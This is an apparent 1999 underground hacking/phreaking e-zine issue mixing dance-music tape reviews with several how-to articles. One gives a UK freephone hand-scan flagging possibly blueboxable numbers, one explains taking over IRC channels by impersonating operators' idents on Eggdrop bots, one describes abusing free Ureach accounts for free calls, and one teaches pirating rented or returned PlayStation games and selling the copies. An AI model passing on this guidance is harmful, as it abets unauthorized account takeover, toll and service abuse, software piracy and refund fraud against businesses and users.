Mmm, This is an interesting one this is - or maybe I'm just refering to the image on the cover, which features a pic of a woman with her arse out :) The Mixing, As Always With Smurf, Is Excellent, and the tape has some *brilliant* Tunage On There. What I am surprised about is the fact the tape is quite slow - 160 Bpm. Theres a few tracks on there I've heard on Happy Hardcore tapes, most notably Bass D & King Matthew - How Shall I, and Damien Kelly & Attic & Stylz - State Of The Nation. Overall this is an excellent tape, which proves smurf is one to look out for.



Title:          Andreas Viklund - Sweet Things
Reviewed by:    CrossFire
Available from: http://www.traxinspace.com (Title Search)
Style:          Dance-Pop

Oh Yes! This Starts off with some nice pianos, before dipping into a vengaboys-esque intro (I don't Mean that in a bad way) , and then breaking down into the main melody. The whole song is really cutesy, but cutesy in a good way. Overall I think this track is excellent - Nice One Mr Viklund!



Title:          Xentar - Tears Of Happiness
Reviewed by:    CrossFire
Available from: ftp://ftp.scene.org/pub/music/groups/te/te-tears.zip
Style:          Happy Hardcore

Mmm, Breakbeats :) This song starts off with some lovely breakbeats before dropping into the main loop that isn't too disimilar from another Happycore track which i can't remember the name off. Anyway, this continues for a while, before breaking down a bit and a new instrumental loop starts. This track Seems to be a reflection of the stuff being released in the happy hardcore scene at the moment, and although this track is better than most commercial efforts, it's nowt outstanding.



Title:          DipA - The Light Of Love 
Reviewed by:    CrossFire
Available from: http://www.traxinspace.com/exe-bin/downloadfile.asp?SongID=16622 
Style:          Dance

Woah! Lovely lovely fantasy style intro :)) This Track is a beauty - It is done in a kind of Demo Style (i mean the kind of music you would hear in a demo), sorta like something you would here in a fantasy game, but a bit more up tempo. The Song itself builds up really nicely, and then as usual starts another instrumental loop. A bit of a short 'un at 2 Minutes 55 secs, but overall an excellent track done by a very nice guy :)



Title:          DJ Creativity - Oldskool Vol. 5 (Mixtape)
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Oldskool

No tracklist available

This is proper a oldskool mix. Not just '94-'95 happy hardcore tracks which some people seem to think is oldskool. Most of the tracks are from '92-'93, and there's some excellent tracks on there. The mixing compliments the track selection excellently, everything is nice and smooth - just the way it should be. Excellent stuff.



Title:          Modulo-2 - Smile and Nod
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Bit of everything

This is a 14 track album by a Canadian duo. There's a mix of hardcore, happy hardcore, drum 'n' bass and trancecore on here. The standard of production is excellent across the board. I like some of the tracks, and I'm not so keen on others. This is the problem with covering such a range of genres, but I'm certain that there's a bit of something for everybody on this CD. The best track on the CD (IMHO) is definitely Peace Love Unity Revengewhich is an excellent jungle/drum 'n' bass stylee tune. Whatever you're into, I'm sure you'll love this CD.



Disclaimer: If you don't like what we say about your music then tough shit. We both review tracks and mixes fairly regardless of how much we (dis)like the person who made it. These are our opinions. You may not agree with them.

Walrus (ergophobe@dial.pipex.com)
CrossFire (crossfire@hackers-uk.freeserve.co.uk)   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

0800 Scans
~~~~~~~~~~
By: ergophobe

Before this month's UK hand scans (hopefully a regular feature from now on), a quick note on scanning.

A lot of attention is paid to the 0800 freephone numbers, and consequently numbers change quite a lot, and as new exploits are discovered on 0800 lines they are corrected quickly. This happens less on 0500 numbers, as less attention is paid to them. But these are not the only freephone codes. A quick look in our BT phone directory tells us that there are lots of other freephone codes which are pretty much ignored. Here we have the full listing of all the freephone codes:

0080
014260
014593
014596
014599
018931
0321
0500
0760
0800
0808
09580

In addition to this there are plans to make all 08xx codes freephone. So get out there and get scanning.


Hand Scan of 0800 965 0xx
~~~~~~~~~~~~~~~~~~~~~~~~~

Scan notes:
The 96x xxx range has almost as many country direct numbers as the infamous 89x xxx range, and indeed a lot of the numbers in this scan terminate in foriegn countries. Most of them seem to be in the USA though. I would say that there are probably a few blueboxable numbers amongst this lot though. Anything with "Wierd Tones" next to it is probably worth checking out.

Key:
HU = Hangs Up
Fault = Sorry there is a fault. Please Try Again.
SYCCNBC = Sorry Your Call Can Not Be Completed
Fucked = Nothing happens at all.

01	HU
02	Fault
03	Fault
04	HU
05	Rings - No Answer
06	"Welcome to (can't make out name of service) international. Please enter the card number followed by #"
07	Rings - No Answer
08	Rings - No Answer
09	Fault
10	Fucked
11	Fault
12	HU
13	Lame Canadian business of some discription. Don't attempt to connect to any of their offices, as the music you have to listen to while you're on hold is terrible
14	VMB/PBX
15	Human answer
16	Wierd tones
17	Wierd tones (sounds kinda like an ambulance)
18	Not in service
19	Fault
20	Rings - No Answer
21	HU
22	Rings - No Answer
23	VMB/PBX
24	HU
25	VMB
26	I think this is a French Telco recording saying something along the lines of there is a fault
27	HU
28	HU
29	HU
30	HU
31	Rings - No Answer
32	Human Answer
33	HU
34	HU
35	Korean Telco
36	HU
37	HU
38	HU
39	Rings - No Answer
40	VMB/PBX
41	Rings - No Answer
42	Human Answer
43	HU
44	HU
45	Enter PIN then #
46	Wierd tones
47	HU
48	Enter PIN then #
49	HU
50	Modem/Fax
51	HU
52	HU
53	Modem/Fax
54	SYCCNBC
55	HU
56	HU
57	HU
58	SYCCNBC
59	VMB/PBX
60	Wierd Tones
61	Wierd Tones
62	SYCCNBC
63	Wierd Tones
64	Fucked
65	SYCCNBC
66	SYCCNBC
67	SYCCNBC
68	SYCCNBC
69	HU
70	HU
71	HU
72	Wierd Tones
73	Rings - No Answer
74	HU
75	Wierd Tones
76	HU
77	Wierd Tones
78	Foriegn telco recording: "The number you are calling has not been installed"
79	Wierd Tones
80	"The number has been disconnected"
81	HU
82	Enter PIN then #
83	Alomo rent a car
84	Wierd Tones
85	Please enter PIN then #
86	HU
87	VMB
88	HU
89	Wierd Tones
90	Rings - No Answer
91	Answerphone
92	HU
93	HU
94	HU
95	HU
96	Wierd Tones
97	Rings - No Answer
98	SYCCNBC
99	HU
00	Employee attitude survey



Hand Scan of the first half of 0800 373 8xx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Scan notes:
No C5 lines or anything in this scan. In fact there's not much of interest at all excpet for a few carriers.

Key:
HU = Hangs Up
HA = Human Answer
NA = No Answer (Lazy Bastards who can't even be bothered to answer their fucking phone)

01	Carrier
02	HU
03	HU
04	NA
05	HU
06	HU
07	HU
08	HU
09	HU
10	NA
11	NA
12	HU
13	HU
14	HU
15	HU
16	HU
17	HU
18	HU
19	Answerphone
20	Answerphone
21	Answerphone
22	HU
23	HU
24	HA
25	This number seems to be permenantly busy
26	HA
27	HA
28	Fax
29	NA
30	NA
31	HU
32	HU
33	HU
34	Answerphone
35	HA
36	HU
37	Some kind of customer support line for Hoover
38	"Sorry. The number you are calling has been changed"
39	HU
40	NA
41	This number seems to be permenantly busy
42	HU
43	Carrier
44	HU
45	HU
46	HU
47	HU
48	HU
49	Answerphone
50	NA

ergophobe			Eggdrop Hacking
			By The Mob Boss

	Eggdrop is the famous Unix-Based bot created some time ago to put an end to channel takeovers in, believe it or not, #Gay. Its main purpose is to run and maintain a channel, protecting it from takeovers and making sure OP status remains in the hands of its owner and those designated to have OP status. Its quite fun, but time consuming to set up. However it has been a valuable tool in maintaining many channels. Even those who are registered with X or W on Undernet keep Eggdrop bots running in their channels. The point of this article is not to talk about setting Eggdrop bots up (since I am making the assumption you already know how) but rather to discuss possible vulnerabilities with these bots. This is not only Eggdrop but IRC channel security. Since it seems channels are always getting taken I thought this might be a good thing to write about. 
	This is basically how your usual Eggdrop works once it is setup on the channel  of its owners choosing. Lets say Joe goes into his channel, #foobar, and wants to get Op'd by his bot. Joe has to message his bot for Op status. Lets say his bots name is Retard. All he has to do is /msg Retard op his-password or he can DCC chat the bot and .op Joe. When he logs in via DCC its called the partyline. Now besides for the password, the ident is what the bot is looking at. That is how he realizes that its Joe. The ident that you see on /whois or when someone enters the channel is what the bot recognizes. If you are not recognized by the bot, then it will just ignore you, meaning /msg and DCC chatting will mean nothing even if you knew the password. Knowing those basics it is easy to see why channels can be considered insecure. 
	Now, on to how we might exploit a bot for Op status. The first step is surveillance of the channel. The point of the surveillance is to pick up on how it is run and what formalities there are to get Op'd. Also, how many bots are in the channel, the kind of bot (most likely Eggdrop), and of course the nicks and idents of the operators. Please keep in mind that the nick does not matter to the bot it is only the ident (something@127.0.0.1 for example) that it looks at. Now when in the channel it is important to be as covert as possible and to keep good notes, especially of the idents of operators. If you are in fear of being detected it would be wise to use a proxy or wingate when connecting, but something obvious with the abbreviation "proxy" would probably not be too wise. Once you have established who the players are its time to see who you could most easily impersonate. For instance, if you see that five different people get Op'd by the bot then you should take a look at wha!
t their ISPs are. The best thing to look for is someone who is using a national ISP, for example, AOL or Prodigy. The main thing is something that you can get your hands on one way or another (I will not be discussing ripping off ISPs, sorry). Now if your subject happens to be using AOL, hold your breath, and sign on. Then minimize that shitty little browser and head for IRC. Before you log on IRC, though, you should change all the details to those of the subject, the ident, name, email address, even the nick if you feel so inclined. Now, attempt to DCC chat the bot. If you do get that little Eggdrop greeting screen prompting you for your password then your in luck. Now something weird that happened to me once was, when I /msg'ed the bot it seemed to think that I was a new user and he wanted me to set a password, which I did, and then viola I logged in and had OP status. It was clear that whoever it was assigned for did not log into it yet, or there was a misconfiguration. 

The point is that if you play around with it long enough your bound to figure a way in because the login process itself is not all that safe. Another possibility is that your target set up their bot to auto-op people, if so then they are pretty dumb since all you have to do is emulate that persons info and you'll have Op status. Now if there is no misconfiguration in the setup of the bot itself you can always try to brute force the bot's password, which of course is not going to be all that easy. One way you might get a password that the target uses is by getting him to sign up with you for something that requires a password. Chances are he uses the same password for many things. If you want to be a script kiddie well you can always go about using a script to do it, it's up to you. 

Please use this information in an honorable way. Taking channels is not something that you should make a habit of and I can tell you from experience people get pissed when you do. Make sure the benifits out-way the time and effort it wiil take you. In a lot of instances its completely pointless to attempt to take someone's channel. There is a shot that certain IRCops will get pissed with you as well and attempt to ban you. Just think about what your doing before hand. To those who found this text too basic or lame, why did you bother reading this far?

-The Mob Boss; http://mobboss.dragx.cx
Voice mail and fax: 1-877-203-3043

Edited By Bigh 


                 _____________________
                /     * BBS LIST *   /|
               /____________________/ |         
               |                   |M | 
               | The Sacrifial Lamb|O |          
               | english.gh0st.net |B |
               |                   |  |
               | Ripco BBS         |B |
               | ripco2.ripco.com  |O |
               |                   |S |
               |   The NorthLand   |S |
               |  Underground BBS  |  |
               |    nub.dhs.org    |  |
               |                   |  |
               | L0pht BBS         |  |
               | bbs.l0pht.com     | /
               |___________________|/                   
  	        

This has been a publication written by THE MOB BOSS;
He is in no way responsible for the accuracy or results from the use of info in this article.
Anything done is totally done at the users discretion. 
THE MOB BOSS in no way or form supports, aids, or participates 
in the act of criminal hacking or phreaking. 
Any ideas, beliefs, and information gathered in all publications published by THE MOB BOSS 
are strictly for informational purposes only.   

THE MOB BOSS � 1999 all rights reserved


		       Free Calls With Ureach
			By The Mob Boss

	Hello boys and girls, I'm hear again with another text for the masses. Today's topic is the wonderful service provided by Ureach.com, the free voice mail, fax, and e-mail service which has been becoming increasingly popular among people in the h/p field. It's a good thing to see that the powers that be have finally caught on to the fact that people won't steal voice mail if you give it to them free. I have been using the service for months now and really love it. Lately though, now that their beta testing is through, they have added some services. One of these new services caught my eye, call fowarding. If you enable the service, which they call ureachme, it will give callers the option, at times you designate, to be automatically fowarded to a number you choose. Now I don't know if they were smoking crack when they decided to initalize this service but they scream, "RAPE ME". This service can be used to call anywhere in the United States on Ureach's nickel if you play your cards right. All you have to do is setup your box to foward to any number you like right? Well this system has some limitations. First of all, this quickly eats your 60 minute per month time alotment, charging you 1.5 minutes for every minute a phone call fowarded from your box is in progress. Another problem is that the person on the recieving end has to decide whether or not to take the call by pressing the number one to accept. This means there will be no fowarding to your favorite PBX or conference number across the country. Now purely in theory if you have someone on the three way you might be able to push yourself through, but I have been unable to test that method. Now if the person knows before hand that you want to give him a ring then of course he will accept. So this can be good for talking to your pals from IRC and at the same time neither one of you have to supply your phone number to the other. The only problem left is that lousy time limit. Well, you can get around that. Now, considering that you can get a 40 minute phone call per fully charged ureach box, just set up as many boxes as you need. After all, they are free and in the words of Homer J. Simpson, "In the great buffet of life you have to pile up your plate and stuff some rolls in your pockets." Now use this sparingly as this will eventually cease to exsist undoubtedly and if you are a real bitch to the poor folks at ureach they might sue you or something. Always remember the accounts you set up, as next month you can use them again. Well there is a new fresh way to communicate with your hack and phreak buddies as much as you like free of charge. 

-The Mob Boss; http://mobboss.dragx.cx
Voice mail and fax: 1-877-203-3043

Edited by: SHADOWMOB


                 _____________________
                /     * BBS LIST *   /|
               /____________________/ |         
               |                   |M | 
               | The Sacrifial Lamb|O |          
               | english.gh0st.net |B |
               |                   |  |
               | Ripco BBS         |B |
               | ripco2.ripco.com  |O |
               |                   |S |
               |   The NorthLand   |S |
               |  Underground BBS  |  |
               |    nub.dhs.org    |  |
               |                   |  |
               | L0pht BBS         |  |
               | bbs.l0pht.com     | /
               |___________________|/                   
  	        

This has been a publication written by THE MOB BOSS;
He is in no way responsible for the accuracy or results from the use of info in this article.
Anything done is totally done at the users discretion. 
THE MOB BOSS in no way or form supports, aids, or participates 
in the act of criminal hacking or phreaking. 
Any ideas, beliefs, and information gathered in all publications published by THE MOB BOSS 
are strictly for informational purposes only.   

THE MOB BOSS � 1999 all rights reserved


   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

Making Money from your Playstation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By CrossFire

Introduction
------------

Has daddy just bought you a brand spanking new playstation? Have You got a CD Writer? If the answer to both of those questions is yes, read on, if not, go away and read Pokemon Magazine.

What You Need
-------------

Playstation (Preferably chipped)
CD Writer
Account at a local video rental store
Friends
Brain (Optional)

Installing a Mod Chip
---------------------

The first thing you're going to need for this scheme is a Chipped Playstation, basically what this does is tell the playstation that the game is official and not to bother checking it out, so you can play Copied and Imported games. To find a list of suppliers try buying a mag such as Playstation Power, they have companies that will supply chips for as low a price as �5, and most will come with instructions (well I hope they do cos I aint going to tell you here :))

Obtaining The Games
--------------------

There are a few ways to obtain games, but my favourite is by renting them. Go down to your local video shop and join it, this usually is free or costs around �1. Try searching around for the cheapest video stores, and don't even think about using the big players (Blockbuster etc), cos it costs around �4 to rent a normal playstation game from them. Once you've got the game, use your favourite software to copy it (I use Adaptec CD Copier Duluxe, which came with my CD Writer). Pop the game in your newly chipped playstation and see if it works.

Another Method of obtaining games was suggested in A-S 13 (In the warez corner), the basic idea was that you go down to a games store such as Electronic Boutique, buy a game from them, take it home, copy it, then return it to the store (you must have the recipt to do this!), say you weren't satisfied with it (make up an excuse), and they will either give you a refund or credit, preferably credit because you can do it again. Repeat this until you have quite alot of games, then move on to the next step.

Now that you have some games...
-------------------------------

Load up a copy of Paint Shop Pro (Or whatever paint program you use), and make a nice cover for the CD, print it off and stick on CD Case. Write up a catalogue of the games you have, print off a few copies and give to friends. Now sit back and watch as the cash rolls in.

Extras
~~~~~~

A nice little service you should offer your customers is Selling mod chips. In the Afformentioned Playstation Power magazine there are a few services that will sell you mod chips really cheaply, the lowest I have seen is �5. The normal going rate for chips is �10. I think you can guess what happens next :)

The bit at the end
~~~~~~~~~~~~~~~~~~

A short article, but I hope you found it useful. Email all flames etc to crossfire@hackers-uk.freeserve.co.uk 


                       :..::.File 14 Of 14.::..:
                       :..Disclaimer & The End.:
                       :.::.:.By Up Staff.:.::.:

             _______ _              _______           _ 
            (_______) |            (_______)         | |
             _      | | _   ____    _____   ____   _ | |
            | |     | || \ / _  )  |  ___) |  _ \ / || |
            | |_____| | | ( (/ /   | |_____| | | ( (_| |
             \______)_| |_|\____)  |_______)_| |_|\____|

<*> Use this information at your own risk. Staff or contributors to
Underground Periodical, nor the persons providing or hosting
Underground Periodical, will NOT assume ANY responsibility for the use,
misuse, or abuse, of any information provided herein. The previous
information is provided for educational purposes ONLY. This information
is NOT to be used for any illegal purposes whatsoever.

<*> By reading Underground Periodical you ARE AGREEING to the following
terms: I understand that using this information is illegal. I agree to,
and understand, that I am responsible for my own actions. If I get into
trouble using this information for the wrong reasons, I promise not to
place the blame on Underground Periodical staff, contributors, or
anyone that provided this issue or any other issue of Underground
Periodical whether it were official or without notification. I
understand that this information is for educational purposes only.
Thanks for reading.

                       :..::..End Of File..::..: